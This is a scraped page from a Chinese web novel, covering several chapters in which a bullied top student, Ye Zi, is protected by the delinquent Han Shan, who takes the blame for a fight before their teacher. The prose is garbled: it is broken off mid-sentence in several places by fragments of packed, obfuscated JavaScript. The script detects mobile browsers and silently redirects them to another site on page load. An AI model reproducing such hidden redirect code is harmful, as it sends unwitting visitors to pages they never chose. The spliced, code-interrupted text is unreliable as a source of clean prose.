p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713082|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一段距离,她不敢赌,走一步看一步吧。 韩山发现她还跟着,没作声,当作没看到。 看她能跟到几时。 韩山他们掀门帘进了网吧,叶子在门口顿了顿,回头看了眼来路,一鼓作气,也跟着进去了。 这是叶子平生第一次来这种地方。她一进去,就被浓烈的烟味呛到,咳了两声。 不大的网吧,窗户全由厚实的窗帘掩住,空间密闭,只有一个排风扇轰隆隆转动着,空气污浊朦胧,都是二手烟。 网吧内谩骂声起此彼伏,有人气得摔鼠标,叶子下意识吞了口唾沫,看来打游戏的男的脾气都不太好。 叶子知道这网吧不太合规,毕竟允许未成年上网,所以她没有去前台找网管说明情况,大着胆子往里走。 光线昏暗,唯一的光源是一台台电脑屏幕闪动的光。 韩山已经落座,开了游戏,叶子一排排找过去。经过其中一排时,最边上的男的暴怒捶键盘,把叶子吓得一个激灵。 最后一排是韩山他们的“专座”,韩山坐在最边上的位置,嘴里含着根棒棒糖。 他在玩战斗游戏,叶子过去的时候,战斗画面在他脸上映出明明灭灭的光。 他的操作很熟练,键盘鼠标被他点得劈啪作响。他神色专注,却还是抽出零点一秒钟抬眸看了她一眼。 她有些不知如何是好,站在他机子后面,十分尴尬羞怯。 所有人都在坐着上网,就她一个人站着,显得呆呆的。不过好在没人注意她。 韩山沉沉吐了口气,叶子看出来,他很无奈。 韩山重重敲下一个键,暂停了游戏,摘了耳机,语气几乎是训斥:“这是你该来的地方吗?” 叶子像个犯了错的小孩般垂下头,小声说:“对不起,我没钱坐公交了……” 韩山的兄弟们都目不转睛盯着电脑屏幕,不知道叶子来了,只是发现韩山游戏里的人物角色不动了,接连喊道:“弥哥干嘛呢弥哥!别挂机啊!” “弥哥死机了吗?快打啊!敌人追上来了!” “操啊,弥哥怎么坑起来了!” “你们先玩。”韩山站起身,拎着叶子的袖管,带她往外走。 他们的弥哥从来没坑过队友,猴子觉得奇怪,抬眼一看,看到两人离开的背影,“哎呦我操,嫂子来了,怪不得。” 男生们顿时沸腾,“什么,嫂子来了?” “那走什么,让她一块玩啊!” “就是,弥哥带飞她!” 叶子被韩山拎出了网吧,空气顿时清新了,耳边也安静了。 他手上的力度很大,显现出他的坚定决绝,叶子怂怂的,不敢反抗,又怕惹他不高兴,低低说了句:“对不起。” 网吧外停了一排电车、自行车,韩山松开她,仿佛没听到,无言走过去,长腿跨上一辆机车,把车退出来,脚下打火,“上来。” 机车发出轰鸣声,他拿起车把上挂的头盔,顺手抛给她。 叶子愣了愣,他居然还有机车??? 她有些傻眼,手忙脚乱抱住头盔。 韩山似乎看出她的疑问,主动开口:“最近才骑来的,学校不让停,只能停在这。” 叶子怔怔然盯着他身下的庞然大物。 那是辆黑金的机车,十分炫亮。韩山穿着黑色连帽卫衣和黑色工装裤、马丁靴,嘴里叼着棒棒糖,更与这机车十分相配。 有人送她自然是好的,叶子没有犹豫,走上前去。 19. 星晴 走到机车旁边,叶子有些局促。 这机车很高,虽然有脚蹬子可以借力,但她依然得抓点什么,才能上得去。 她扶了扶后座,也不太好着力。 韩山漫不经心开口:“你今天在学校抓我抓得不是挺用力吗?” 叶子脸一下子热了起来,当时那是情况紧急她没想那么多,现在又不一样…… 韩山递给她一只胳膊,“上不上?不上自己走回去。” 叶子虽然觉得羞耻,但回答得还是很干脆:“上。” 韩山收回目光,唇角不经意牵起。 叶子扶着他有力的手臂,轻松跨上他的后座。他的手臂好像烫手一般,让她觉得不自在,马上拿开。 韩山双手扶把:“头盔戴好。” 叶子乖乖戴上头盔,刚一戴好,韩山便轰了油门,机车像离弦之箭冲了出去,叶子一个重心不稳,本能抓住韩山的衣服,险些仰过去。 韩山感觉到身上传来的力度,只字未言,那抹笑意更深几分。 叶子稳住身体,连忙松开他,双手扶着后座。 韩山骑得很快,风声呼啸。叶子第一次坐机车,害怕的同时又觉得十分刺激,风穿过头发的感觉好爽,她竟还有些享受。 韩山左手伸进口袋,按下CD机的播放键,歌曲的旋律随风一同经过叶子。 乘着风游荡在蓝天边,一片云掉落在我面前 捏成你的形状,随风跟着我 一口一口吃掉忧愁~ 是那首《星晴》,叶子一下子就听出来。 很轻松的旋律,她觉得很应景,此刻那些被欺凌的忧愁似乎都被风吹散,甩在了身后。 她的心情像云一样,飘荡在空中。 韩山忽而开口,淡淡地说:“你是好学生,不该来那种地方。” 以后不要来了。 他的声音被风声和歌曲声盖过,但叶子依然听清楚了,她扯着嗓子,大声说:“未成年都不该来那种地方!你以后也不要来了!” 她没有思考,这是她下意识想说的话。 韩山蓦地一默,片刻说:“我们不一样。” 叶子继续扯着嗓子:“有什么不一样!因为你是‘坏学生’吗?什么是好,什么是坏?我觉得你帮我,也是好学生!” 韩山的心剧烈震颤了一下,随即自嘲地扯了扯唇角,“你的世界可真简单。” 帮助她就是好学生,欺负她就是坏学生。 可如果,他也欺负别人呢? 这句话他刻意放低了声音,叶子没听真切,大声说:“什么?” 韩山:“没什么。” 叶子:“哦!” 可是她真的觉得,好坏不能仅仅用学习成绩来衡量呀。 两人默契地都没说话,叶子听到歌曲在唱: 载着你仿佛载着阳光,不管到哪里都是晴天 或许是因为这氛围微妙地契合,叶子的心怦怦乱跳。 叶子给韩山指了路,机车在叶子家楼下停住。 这是个老旧的居民区,看得出来叶子家条件很一般。 韩山甩了甩银发,递给她手臂,叶子扶着跳下机车,摘下头盔递给他,认真对他说谢谢。 韩山接过头盔,反手戴在自己头上。 戴着头盔的他更酷了,就像漫画中的赛车手。 叶子大大的杏眼看着他,她的皮肤白皙细腻,脸和鼻尖被风染上一层天然的腮红,像个瓷娃娃。然而她的刘海被风吹乱了,向两边分开,还有几柳翘了起来,又是个不太精致的瓷娃娃,滑稽又可爱。 韩山的心很软,故意没有提醒她,淡淡说了句:“走了。” 机车绕过她,调头离开。 “等下!”叶子叫住他。 他停住,长腿支在地上,回头看她。 叶子深深吸了口气,大胆地说:“你现在能做我的‘老虎’吗?” 韩山神色平淡,从容一笑,她看起来柔柔弱弱,可关键时刻,却有出人意料的勇气。 还从来没人敢这么直白地想倚仗他的威势。 因他戴着头盔,叶子没有看到他的神情。 他不置可否,背对她挥挥手,拧油门走了。 没能得到他的答案,叶子到底有些沮丧。不过能顺利到家,这份开心还是大过了沮丧。她呼出一口气,像个小白兔,欢快地进了楼道。 * 韩山停好机车,回到网吧,猴子立刻摘了耳机调侃他:“哟,人送回去了?” 韩山冷声说:“滚。” 胖哥也开他玩笑:“原来弥哥好这口啊,滋滋滋。” 东子:“我还以为弥哥喜欢霸气御姐型的,没想到……” “就是就是,弥哥原来喜欢可爱型的。” “什么时候公开啊弥哥?”还有人喊话。 韩山:“没有的事,谁再废话小心挨打。都跟四眼学着点!” 四眼在电脑桌上写作业,两耳不闻窗外事。被突然cue到,他茫然抬头,推了下眼镜,迟钝地说:“啊?” 这帮人终于闭了嘴,都怕挨打。 要说这四眼这么不合群,他们为何还带他玩,因为他们需要找个人抄作业。 四眼的作业虽然不能说全对,但好歹能保证不全错,保个下限。 * 这晚本来是个大晴天,晴朗的夜空星星眨眼睛,然而到了十点之后,天空突然飘过一片乌云,下了场暴雨。 风雨交加,电闪雷鸣,豆大的雨点砸在玻璃上,冰雹般噼里啪啦。 叶子慌忙关住各个屋里的窗户,守在窗前,有些担心。 她爸妈现在还没下班。 她爸倒是正常,因为经常加班,但她妈往常八九点也就回来了。 狂风摇晃树影,玻璃被雨水冲刷,夜变得深不可测。 天不好,她很怕妈妈出什么事,连番打了好几个电话,终于打通了。 “妈,你怎么还没回来啊?” 电话里面有哗哗雨声,李丽然说:“别提了!你舅打架,我们现在在局子里呢,你困了就先睡,乖啊!” 叶子一时不知说什么好。 提到她这个不成器的舅舅,李勇军,她就来气。 她妈那个年代重男轻女,她的外公外婆从小惯着舅舅,把舅舅养成了个废人。 一把年纪了没个正经工作不说,还天天闯祸。 叶子的外公外婆岁数大了,每回他惹了麻烦,都是李丽然给他擦屁股。 叶子:“那我爸呢?” 李丽然:“你爸加班了!今晚估计不回来了,我还有事,先不说了!锅里有剩饭你自己热热吃哈!” 叶子应了一声,还没叮嘱李丽然回来路上注意安全,电话率先挂断了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713083|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ——嘟、嘟…… 叶子默了默,手捏着电话线,片刻放下话筒。 雨渐渐小了些,知道妈妈没事叶子便放心了,她学到半夜一点,听见开门声响起,李丽然终于回来了。 叶子立刻出了房间,“妈。” 外面雨已经彻底停了,李丽然胳膊上搭着雨披,看起来很疲惫。 李丽然边换鞋边说:“你还没睡啊。” “没呢,我再学会。” 李丽然露出欣慰的笑容,把雨披挂在衣架,“真懂事,乖女儿。”她过来抱住叶子,“妈妈有你真好。” 叶子轻轻推开她,“舅舅怎么样了?” 李丽然叹息一声,“赔了点医药费,和解了。” 叶子知道肯定又是妈妈给舅舅出的钱,有些怨气,“妈,你前段时间不是刚给舅舅介绍了工作吗?” 李丽然:“是啊,没干两天就不干了,嫌累。” 叶子:“保安还累吗?” “他闲不住啊,借口吧。” 叶子默然。 她很想问问李勇军,是想让她妈妈养他一辈子吗? 可他们家条件也没有多好啊。 李丽然似是安慰叶子,又似是安慰她自己,“不过没关系,我有个乖巧又省心的女儿,这就够了。” 叶子:“那舅舅相亲的事怎么样了?有个家庭会不会安分些。” 李丽然无奈说:“都吹了,就他那样的,谁看得上他?” 叶子想了想也是,有点发愁。 李丽然笑笑说:“乖女儿,你不用为他操心,好好学习,无论如何,爸爸妈妈都会送你上大学的。” 叶子坚定点头,突然想到什么,快速冲进房间里,再出来的时候,手上拿着一张奖状。 她眼里闪动着光彩,递给妈妈看。 李丽然脸上的疲惫顿时烟消云散,惊喜万分,“期中考试第一名哎!真棒!”她高兴地对叶子又抱又亲,“不愧是我女儿。” 然而叶子没有告诉她,关于这张奖状的波折。 第一张奖状被董婉凝撕碎的时候,她之所以那样伤心,还有一部分原因是她没有办法把奖状给爸妈看了。 叶子笑盈盈说:“你高兴就好。” 李丽然:“妈妈当然高兴了,就算你不考第一名,只要你好好的,妈妈都高兴。” 她的女儿就是她最大的骄傲。 叶子也很高兴,杏眼笑得弯弯的。 李丽然反复观摩奖状,爱不释手,“这可是我们叶子高中第一张奖状,明天我就给它裱起来,挂在我们屋墙上。” 叶子从小优秀到大,常年霸榜年级第一,李丽然和叶进财的房间里,已经挂了叶子大大小小无数奖状,不乏学习优异奖,三好学生奖,优秀学生代表奖。他们对于叶子的奖状总是格外珍惜,比叶子自己都要珍惜。 叶子忍不住又笑了,她觉得她爸妈实属夸张,不就是一个奖状,好好收着不就行了,至于裱起来? 可她爸妈还真就爱做这夸张的事。 “妈妈,时间不早了,早点休息,明天还要上班。” “你也是,别学太晚了。” “嗯,我知道。” 雨后的夜空干净极了,星辰闪烁,月色更加清亮,映照宁静的人间。 叶子房间的灯又是整栋楼最后一盏熄灭的,夜晚归于沉寂。 20. 星晴 第二天叶子早早来到班里,把昨天没拖完的地拖了,垃圾倒了。 做完这些,同学们零零散散来了几个,叶子想到韩山玻璃没擦完,今天指定又要挨赵育芳骂,去洗了抹布,把椅子搬到教室外,踩在椅子上,抓着窗框,小心翼翼站上窗台,替他擦玻璃。 既然他帮了她,她总得做点什么。 然而她个子矮,擦下面的玻璃还好,上面的就有点吃力,窗台很窄,还铺着瓷砖,很光滑,她踮着脚尖,紧紧抓着窗框,每擦一下都如履薄冰。 班上的同学们渐渐都来了,看她在努力擦玻璃,发出幸灾乐祸的窃笑。 擦到一半,叶子累得满头大汗,停下来歇了歇,用袖子擦擦汗。 之前看韩山擦得挺轻松的,怎么她自己擦起来这么累呀? 有男生使坏,经过她的时候抢了她的椅子就跑。 叶子大喊一声:“喂!” 全班哈哈大笑。 那男生叫张智聪,还特别“好心”地把叶子的椅子放回了她的座位。 叶子无助极了,低头看了眼地面,他们学校的窗台偏高,一米二三的样子,能到叶子胸口。设计之初是为了在教室内侧的窗下嵌入柜子,所以高度不能太低。 只能自己跳下去了,叶子叹了口气。 现在时间还早,老师都还没来,韩山也没来,她不着急下去,抬头继续擦玻璃。 楼道那头传来女生银铃般的笑声,董婉凝和张婧雅说笑着过来了。 董婉凝看见叶子,目光微沉,笑容里多了几分冷意。 张婧雅奇怪道:“咦,她怎么擦上玻璃了?” 董婉凝轻描淡写说:“想讨好某人吧,臭婊.子。” 张婧雅心思纯良,对叶子并没有恶意,一时没反应过来,说:“谁啊?” 与此同时,“某人”进了教学楼,一步三台阶,正在飞快地上楼。 他知道昨天董婉凝找的人没得手,今天说不定又要做些什么,特意来早了些。 董婉凝让张婧雅先进教室,自己来到叶子跟前,弯弯眼睛,笑着说:“早上好啊叶子,一大早就开始擦玻璃,真是辛苦了呢。”她的眼里没有半分笑意,反而是冰冷的寒意,衬得她这个笑容也显得狠辣恶毒。 叶子不想理她,看也没看她一眼。 “聋了?”董婉凝依然笑着,手猛地抓住她的脚踝,用力一扯,“都快上课了,还不下来吗?” “啊!”叶子毫无防备,脚下一滑,下意识抠紧窗框,才没有摔下去。她惊魂未定说:“董婉凝,你疯了!” 教室里的人听见她的尖叫,纷纷看过来,董婉凝的手被下面的窗框挡住,他们只看到她们在说话,而董婉凝在笑。 “看你紧张的。难道我会真害你不成?”董婉凝微笑着,又大力扯了她一把。 叶子的脚被她扯得一下一下往窗台下滑,她死死抓着窗框,稳定身体,强装镇定说:“你不怕韩山报复你吗,还敢动我?” 她故意搬出他的名字,昨天韩山保护了她,董婉凝不会不知道。 董婉凝怔了一下,她确实忌惮韩山,但她不愿承认,她笑意微凝,唇线紧绷,讥诮说:“有何不敢?这个点,他还没起呢吧!” 韩山从楼道那头出现,刚好看到这一幕,微微眯眼。 叶子余光发现他的身影,顿时有了底气,说:“谁说他没起。” 董婉凝神色变了变,一扭头对上韩山锐利的眸。她心一颤,顿时撒开叶子的脚踝,没有丝毫留恋转身进了教室。 叶子松了口气,她果然还是怕他。 叶子眼睛亮亮地看向韩山,正要感谢他来得及时,发现他脸色不太对。 他眉心微耸,眼里有淡淡的冷怒,尽管董婉凝走了,这份怒意也并没有散去。叶子察觉到,这怒气是冲着她来的。 他停在她面前,抬头看着她,眸色深沉如墨,几乎是质问:“你干嘛呢?” 叶子愣了愣,不知道他怎么就生气了,茫然说:“擦玻璃呀……” “谁让你擦的?” 叶子有些委屈,帮他都不对了吗? 她小声说:“我自己要擦的……” 她下意识低头,可她发现,她现在在窗台上,低头也没办法掩饰自己的情绪。 她更委屈了,眼圈微微泛红,咬着嘴里的肉。 韩山的语气却没有半分柔软,说:“我让你帮我了吗?下来。” 他眉眼本就生得凌冽,骨相立体,不笑的时候显得凉薄又矜贵,距离感很强,此时带着薄怒,这种感觉更强烈了,眉目间的冷峭也成倍增加。 叶子看了看地面,有些无措,此时她的视觉高度是窗台加上她的身高,直接跳她不敢,她得先坐下来再跳。 她颤颤巍巍地转身,扶着窗框,战战兢兢往下蹲。就一掌宽的窗台,每动一下都像踩在刀尖上,下个窗台愣是被她下出一种走钢丝的感觉。 韩山看了一会儿,默默叹气,无言举起她腿,将她放在了地上,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713084|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不到一秒钟。 “身手不行就少爬高。”他冷冷说。 叶子懵懵站在地上。 被他举起的瞬间,她心跳猛然凝滞,然而这瞬间太快,她没反应过来就结束了,她站在地上,后知后觉的悸动让她带着不可思议之色抬眸。 她只知道,刚才是她这辈子第一次被男生腾空举起。 韩山眼里却没什么温度,语气也无甚波澜,仿佛刚才做那件事的不是他,“今天是我来得早,我若没来,你拿董婉凝怎么办?” 叶子才生出的少女心绪又被他这句话破灭,她委屈地垂下头,她确实不知道怎么办。 可她就是想帮他擦玻璃呀。 韩山:“我不用你帮。你明知她看不惯你,还把自己置于危险之中。你是蠢吗?万一你摔下来,你想过后果吗?” 叶子觉得他冷冰冰训人的样子可怕极了,简直跟昨天判若两人,鼻尖酸酸的,眼泪又不争气地在眼眶打转。 教室里同学们都探头瞧着他们,虽然听不清他们在说什么,但刚才他们清楚地看到韩山把叶子从窗台放了下来,这个动作暧.昧,他们的眼里又多了几分探究和揣摩。 叶子嗫嚅说:“我知道了,我以后不管你的事了。” 韩山薄唇抿成一条直线,他很生气她这种自以为是不知天高地厚的“报恩行为”,可心却控制不住地在变软。 末了,他下巴微抬,淡声说:“回去吧。” 叶子一眼没看他,立刻转身走进了教室,被他凶得也有几分生气。 她真是……再也不要理他了! 教室里数十道目光射过来,实在算不上善意。董婉凝更是气愤她抱到了韩山这条大腿,以一种仇恨憎恶的目光盯着她。 叶子低头不看任何人,藏在袖子中的手微微收拢。以往此刻还会伴随着笑声、揶揄声,他们总是丝毫不掩饰自己的恶意,她早已习惯。 但这次没有,韩山在她身后进来,面色凛然,无声地施压,竟没一个人敢说什么。 同学们匆忙低下头找事做,一眼不敢多看。 教室响起杂乱生硬的文具碰撞声,书本翻页声,气氛凝结。 同学们似乎都在怀疑,他们关系不一般。 叶子坐在座位上,韩山从她身边经过。 董婉凝歪着身子凑近她,眨眨眼说:“韩山罩你,你是没事了,那他呢?你会把晦气传给他的。” 叶子当下有些疑惑,但很快就明白了这话是什么意思。 21. 星晴 早读时候,赵育芳板着脸把韩山叫了出去。 昨天他帮叶子打退了那四个高三男生,今早那四个男生给赵育芳告状了,还告得十分夸张。 韩山被叫到办公室挨训,其实他早就知道会这样,董婉凝记恨叶子告状一事,一定会找机会报复回来。 报复在他身上总好过报复在叶子身上。 赵育芳:“我是真没想到你胆子这么大,在校外打架还不够,现在竟然在校内就敢动手,还是跟高年级的。你看看他们被你打成啥样了?” 领头那个被打掉四颗槽牙,脸肿了,连带嘴唇都肿成了香肠,说话含糊不清,十分滑稽可笑。剩下三个分别抱着自己的胳膊,腿,肚子,表情扭曲,一直嗷嗷叫。他们不知道从哪搞了份伤情鉴定书,架势唬人。 赵育芳:“我听说你练过拳击,下手不知道轻重啊?” 韩山态度散漫,像是根本不把老师放在眼里,轻笑一声说:“谁让他先揪我领子?” 赵育芳:“你还敢顶嘴!” 韩山耐着性子闭上嘴,安静了,却又是一副左耳朵进右耳朵出的懒散模样。 尽管是他们先动的手,但结果是他们受了伤,而韩山毫发未损,错便成了他的。 不过没关系,只要忍过去就好了。总归他也不是第一次忍。 赵育芳调了走廊里的监控,监控画面模糊显示,四个男生追着叶子跑来,叶子躲到韩山身后。 赵育芳意外这事还跟叶子有关系?问道:“怎么回事?” 四个男生对视一眼,领头的说:“我们根本不认识那女生,是她自己看到我们被吓到了。” 他们自然不会出卖董婉凝。 赵育芳询问韩山:“是这样吗?” 韩山抬眸,领头的男生在老师身后对他做了个抹脖子的动作,剩下三个男生纷纷效仿,神色张狂。 韩山漫不经心说:“跟她没关系,他们是来找我的。” 他本就没想说出实情。 赵育芳转向那四个男生:“你们没事找他干什么?” 男生们抢着告状:“他抢我们钱,我们是去要钱的!” “就在学校门口,带着一帮人,我们快被吓死了!” “他欺负我们在先,我们本想讨个公道,没想到又挨揍了……” “老师,你可要好好管教管教他!欺人太甚!” 赵育芳问韩山:“他们说的是真的吗?” 韩山脸上没什么情绪,近乎麻木,说:“嗯。” 他已经是老师眼中的坏学生,干的坏事多一件少一件又有何区别。 四个男生偷笑。 赵育芳气道:“你真行,我从来没带过你这么无法无天的学生!” 赵育芳继续询问细节,韩山有意隐瞒,全程未提叶子的名字,也没提董婉凝。 他很清楚,说了实情,叶子之后的日子恐怕更不好过。 而他本就是坏学生,再坏点也无所谓。 但这就使他丧失了为自己辩解的余地,那四个男生把自己摘得干干净净,责任都推到了韩山身上。 韩山一一承认了,认得很痛快。 四个男生窃笑不止,韩山也笑,带着几分对自己的冷嘲。 他们谈了一整个早读,叶子从韩山被叫走便惴惴不安,担心是因为昨天打架的事,可……韩山打架完全是为了保护她呀。 她像做了亏心事一般,整个早读都心神不宁,早读结束的铃声一响,便起身要去看看。 董婉凝立刻跟着站起来,将她拉住,“你去哪?” 叶子回头看到她锐利的目光,不耐烦将她挣开,“上厕所!” 韩山被叫去办公室谈话,董婉凝警惕得很,一把将叶子扯回来,“不许去!” 叶子反手推开她,“你管天管地管别人上厕所?”她大步向教室前门走。 董婉凝追上去,拽住她,低声警告:“你要是敢在老师面前瞎说,有你好看的。” 叶子忿然瞪着她,这世上怎么会有这么恶毒的人? 但她不怕。她转身头也不回出了教室。 办公室的门关着,叶子在门口听了听,赵育芳愤怒的责骂声透过门传来:“在学校就敢打架,到了社会上还了得?” 叶子的心骤然紧缩。 果然是昨天的事…… 她猜测韩山没有说出实情,否则以赵育芳的脾气,一定会把董婉凝叫过去。 他想独自揽下罪名? 叶子咬牙,遭受欺凌的人是她,倘若别人因为保护她而受到牵连,以后谁还会站出来? 不能这样,事情不该是这样! 她心一横,抬起指节,重重扣响了办公室的防盗门。纤瘦柔嫩的手,却似有无尽的力量。 赵育芳的责骂声停住,取而代之的是一声:“进!” 叶子转动门把,推门而入。 挨打的四个男生纷纷回头,唯独韩山没有回头,他并不在意谁会进来。 总归不可能是她。 早读前他用那种态度对她,她现在一定很生气,也好,生气了就不会管他,她就是安全的。 四个男生看到是叶子,笑容微凝。 赵育芳尽管生气,但面对无关学生还是压着怒意,尽量用正常的语气说:“怎么了?” 教室的暖气开得很足,一股热浪席卷了叶子,将她紧紧包裹住,干燥闷窒。 没了责骂声,办公室肃静非常,每个工位的老师都低头干自己的事,鼠标键盘发出窸窸窣窣的敲击声。 叶子知道自己是在做一件正确的事,微微吸气,关上办公室的门,向赵育芳走近,说:“老师……我有话想对你说……其实昨天打架的事情……” 四个男生心提到嗓子眼。 听到这个声音,韩山蹙了下眉,猛地回头。 怎么会…… 眼看她要说出实情,韩山当即打断她:“喂,书呆子,老师正忙着呢,有事不能等会说?” 赵育芳:“对,叶子,我知道打架的事跟你没关系,你先回去安心上课。” 早读和第一节课中间的休息时间只有五分钟,很快上课铃就会响。 叶子忙说:“不是的,老师,韩山他——” “你是要落井下石吗?”韩山再次将她打断,讥诮说:“还嫌我被骂得不够惨?” 赵育芳呵斥韩山:“有话好好说!” 韩山微昂着头,桀骜说:“好好说不了!”他轻飘飘看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713085|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶子,声音沉下去:“赶紧滚。” 上课铃说话间便响起,赵育芳温声催促叶子:“你先回去上课,这件事老师自然会问清楚。” 四个男生此时已经彻底放松下来,恢复了之前的嬉皮笑脸。连他们都看出韩山在故意阻止叶子说出实情,叶子不会看不出来。 叶子咬着嘴里的肉,倔强盯着韩山。 她说不上此刻是什么心情,她为了韩山出现在这里,韩山为了她阻止她。 明明早读前还在生他的气,可这一瞬,她的气全都消了。 可她不想顺从他,她要做她自己认为对的事情。否则她不会心安。 她无法当做什么事都不知道,心安理得地躲在韩山背后。 叶子一鼓作气,用最快的语速说:“韩山打架是为了保护我!他们是董婉凝找来的!”她目光狠厉看向那四个男生。 而韩山的声音与她同时响起,说的却是截然不同的版本:“这姓叶的昨天看见我打架,我威胁她不准告老师,她不同意,我便也打了她。”他冷冷一勾唇,黑眸幽暗,“现在她身上应该还有淤青。” 办公室一时间静得可怕,能听到空调吹出的呼呼风声。 叶子说得快,她都说完了,韩山还在慢条斯理地说,反而是他的声音更清晰更响亮。她猛地滞住,难以置信回眸。 空气短暂地凝滞。 领头男生连忙附和:“对对对!韩山说得没错,我也看到了!” 剩下三个反应过来,也跟着附和: “没错,差点忘了这事了!是这样的老师!” “我们都看到了,韩山除了打我们,还打了她!” “老师,韩山连女生都不放过!” 只要对董婉凝有利,他们自会助力。 叶子脸色变了变,情绪激动地否认:“不是!老师!” 韩山冷静的声音却盖过了她:“教室监控应该能看到,我一步步把她逼到了角落,她毫无反抗之力。老师可以直接看。耳听为虚,眼见为实。” 赵育芳立刻弯腰操作电脑。 叶子脸上毫无血色,怔然看着他,空气热得几乎让她喘不上气。 他只字不提董婉凝的名字,把所有责任都揽在了自己身上。 她身上确实有淤青,可那是董婉凝带人将她堵在厕所,一通拳打脚踢造成的,跟他有什么关系? 他居然……会为了阻止她,编出这样荒谬的故事! 她望向他的眼睛,他嘴上编织着谎言,可眼神却直白坦荡,笔直地看着她。 他真是生了一双好看的眼睛,黑白分明。 他的眼睛会说话,她一下便望进他眼眸深处,明白他所有意图。 赵育芳边调监控边说:“叶子,你先回去上课,老师自然会查清这件事的。” 可叶子知道监控画面会显示出什么,监控会证明他说的都是“真的”。那么这件事就不可能清! 叶子握紧拳头,浑身颤抖:“老师,既然韩山申请调教室监控,那我也申请查查水房的监控!”她眼睛微红,眼中泪光闪烁,指向四个男生,一字一句,掷地有声:“他们四个,是董婉凝找来堵我的!而韩山,是为了保护我!”她喊出这句话,几乎声嘶力竭。 22. 星晴 赵育芳调出了监控画面,正如韩山所说,电脑屏幕上,他一步步将叶子逼退到墙角,之后角度问题,便看不到了。 韩山知道那里有监控,刻意避开了,当时他没想到还能派上这种用场。 虽然看不见墙角到底发生了什么,但叶子惊慌无措的姿态已经说明了一切。 赵育芳更倾向于相信韩山,毕竟在她心里,韩山确实是做得出这种事的人。保护?反而可笑。 她不知道叶子为什么这样说,或许也是被威胁? 好在韩山自己承认了,那这事就没什么悬念。 叶子态度坚决:“老师,请再调一下水房的监控!” 四个男生低头偷笑,显得丝毫不慌。韩山看到他们这样的反应,心中有了底。 赵育芳了解叶子脾气,不调她不会死心,于是将水房监控调了出来。 然而让叶子吃惊的是,监控画面竟全是黑的,包括以前的录像,通通不见了。 赵育芳也没想到:“这是怎么回事?” 办公室有位男老师听到他们的对话,插嘴说:“是说水房监控吗?昨晚下大雨,把那根电缆刮断了。” 叶子整个人僵住。 她记得这场雨。 昨晚妈妈冒着雨处理舅舅的事情,很晚才回来,所以她印象深刻。 此刻,身在温暖的空调房,她却如置身于冰冷的雨夜,冷意由脚底蔓延至全身。 电缆断了,录像全部消失,再也没有证据了。 叶子不认这个结果,固执地自己描述:“老师,昨天放学我去水房涮墩布,这四个男生突然进来,将我围住,问我怎么欺负董婉凝的。他们就是董婉凝找来的!” 四个男生争先恐后否认:“老师,我们没有!”“老师,她胡说!”态度十分蛮横。 叶子红着眼睛跟他们吼:“谁胡说!你们敢不敢说实话!你们敢不敢!”吼得歇斯底里,眼泪大颗大颗滚下。 赵育芳拦着叶子,她呼吸急促,这架势几乎要上去将他们撕碎。 办公室所有老师都被惊动,纷纷挺直身体张望。 韩山旁观这一幕,眼中波澜不断,他很想冷笑,却僵硬地无法扯动唇角。 她这是……在维护他吗? 明明遇到危险会怕得往别人身后钻,却敢为了他在老师面前吼得这样不顾一切。 赵育芳手扶着叶子的肩膀,带她往外走,语重心长说:“叶子,我知道你跟董婉凝有过节,所以你怀疑她,但这四个男生并不认识董婉凝,韩山自己也承认跟董婉凝没关系。这件事,确实是你误会她了。” “我没有误会!”叶子眼圈通红,挣扎喊道:“他们都在说谎!韩山,你跟老师说实话啊!”她拼命扭头往后看。 赵育芳没想到平常不爱说话的叶子会在这种事上格外执拗,扣紧她的肩膀,用力推着她往外走。 韩山望着她的眼睛,心不断动摇,唇瓣微动,实话几乎就在唇齿之间。 可说实话又能怎样,监控已经没了,没有证据,他们改变不了结果。 韩山冷下心肠,黑眸一瞬冰冷刺人,“实话便是,你被他们吓到了,产生了误会。他们自始至终,目标都是我。” 淡漠凉薄的声音,如一盆冷水从叶子头顶浇下去,她的心彻底凉下来。 赵育芳打开办公室的门,将叶子推出去,哄道:“叶子,你先回去上课好吗?相信老师,就算没有监控,也会查清楚的。” 叶子一直扭着头,含泪恳求地望着韩山,求他说实话。可他的目光平静极了,铁了心要这样做。 叶子不知道自己是怎么走出办公室的,外面的冷空气袭来,瞬间抽干她的力气,她双腿发软,几乎快要站不住。 赵育芳扶住她,带上办公室的门,将她送回教室。 叶子一路魂不守舍,什么都没说,她想说的一切都在办公室里说完了。 